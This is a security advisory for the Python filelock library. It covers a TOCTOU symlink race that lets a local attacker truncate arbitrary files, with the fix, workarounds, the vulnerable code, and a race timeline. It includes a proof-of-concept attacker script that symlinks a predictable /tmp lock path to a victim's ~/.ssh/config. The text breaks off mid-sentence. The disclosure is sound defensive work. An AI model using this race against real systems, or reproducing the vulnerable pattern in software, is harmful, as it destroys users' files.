filelock has a TOCTOU race condition which allows symlink attacks during lock file creation
Impact
A Time-of-Check-Time-of-Use (TOCTOU) race condition allows local attackers to corrupt or truncate arbitrary user files through symlink attacks. The vulnerability exists in both Unix and Windows lock file creation where filelock checks if a file exists before opening it with O_TRUNC. An attacker can create a symlink pointing to a victim file in the time gap between the check and open, causing os.open() to follow the symlink and truncate the target file.
Who is impacted:
All users of filelock on Unix, Linux, macOS, and Windows systems. The vulnerability cascades to dependent libraries:
- virtualenv users: Configuration files can be overwritten with virtualenv metadata, leaking sensitive paths
- PyTorch users: CPU ISA cache or model checkpoints can be corrupted, causing crashes or ML pipeline failures
- poetry/tox users: through using virtualenv or filelock on their own.
Attack requires local filesystem access and ability to create symlinks (standard user permissions on Unix; Developer Mode on Windows 10+). Exploitation succeeds within 1-3 attempts when lock file paths are predictable.
Patches
Fixed in version 3.20.1.
Unix/Linux/macOS fix: Added O_NOFOLLOW flag to os.open() in UnixFileLock.\_acquire() to prevent symlink following.
Windows fix: Added GetFileAttributesW API check to detect reparse points (symlinks/junctions) before opening files in WindowsFileLock.\_acquire().
Users should upgrade to filelock 3.20.1 or later immediately.
Workarounds
If immediate upgrade is not possible:
1. Use SoftFileLock instead of UnixFileLock/WindowsFileLock (note: different locking semantics, may not be suitable for all use cases)
2. Ensure lock file directories have restrictive permissions (chmod 0700) to prevent untrusted users from creating symlinks
3. Monitor lock file directories for suspicious symlinks before running trusted applications
Warning: These workarounds provide only partial mitigation. The race condition remains exploitable. Upgrading to version 3.20.1 is strongly recommended.
______________________________________________________________________
Technical Details: How the Exploit Works
The Vulnerable Code Pattern
Unix/Linux/macOS (src/filelock/_unix.py:39-44):
```python
def _acquire(self) -> None:
ensure_directory_exists(self.lock_file)
open_flags = os.O_RDWR | os.O_TRUNC # (1) Prepare to truncate
if not Path(self.lock_file).exists(): # (2) CHECK: Does file exist?
open_flags |= os.O_CREAT
fd = os.open(self.lock_file, open_flags, ...) # (3) USE: Open and truncate
```
Windows (src/filelock/_windows.py:19-28):
```python
def _acquire(self) -> None:
raise_on_not_writable_file(self.lock_file) # (1) Check writability
ensure_directory_exists(self.lock_file)
flags = os.O_RDWR | os.O_CREAT | os.O_TRUNC # (2) Prepare to truncate
fd = os.open(self.lock_file, flags, ...) # (3) Open and truncate
```
The Race Window
The vulnerability exists in the gap between operations:
Unix variant:
```
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file exists? → False
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
```
Windows variant:
```
Time Victim Thread Attacker Thread
---- ------------- ---------------
T0 Check: lock_file writable?
T1 ↓ RACE WINDOW
T2 Create symlink: lock → victim_file
T3 Open lock_file with O_TRUNC
→ Follows symlink/junction
→ Opens victim_file
→ Truncates victim_file to 0 bytes! ☠️
```
Step-by-Step Attack Flow
1. Attacker Setup:
```python
# Attacker identifies target application using filelock
lock_path = "/tmp/myapp.lock" # Predictable lock path
victim_file = "/home/victim/.ssh/config" # High-value target
```
2. Attacker Creates Race Condition:
```python
import os
import threading
def attacker_thread():
# Remove any existing lock file
try:
os.unlink(lock_path)
except FileNotFoundError:
pass
# Create symlink pointing to victim file
os.symlink(victim_file, lock_path)
print(f"[Attacker] Created: {lock_path} → {victim_file}")
# Launch attack
threading.Thread(target=attacker_thread).start()
```
3. Victim Application Runs:
```python
from filelock import UnixFileLock
# Normal application code
lock = UnixFileLock("/tmp/myapp.lock")
lock.acquire() # ← VULNERABILITY TRIGGERED HERE
# At this point, /home
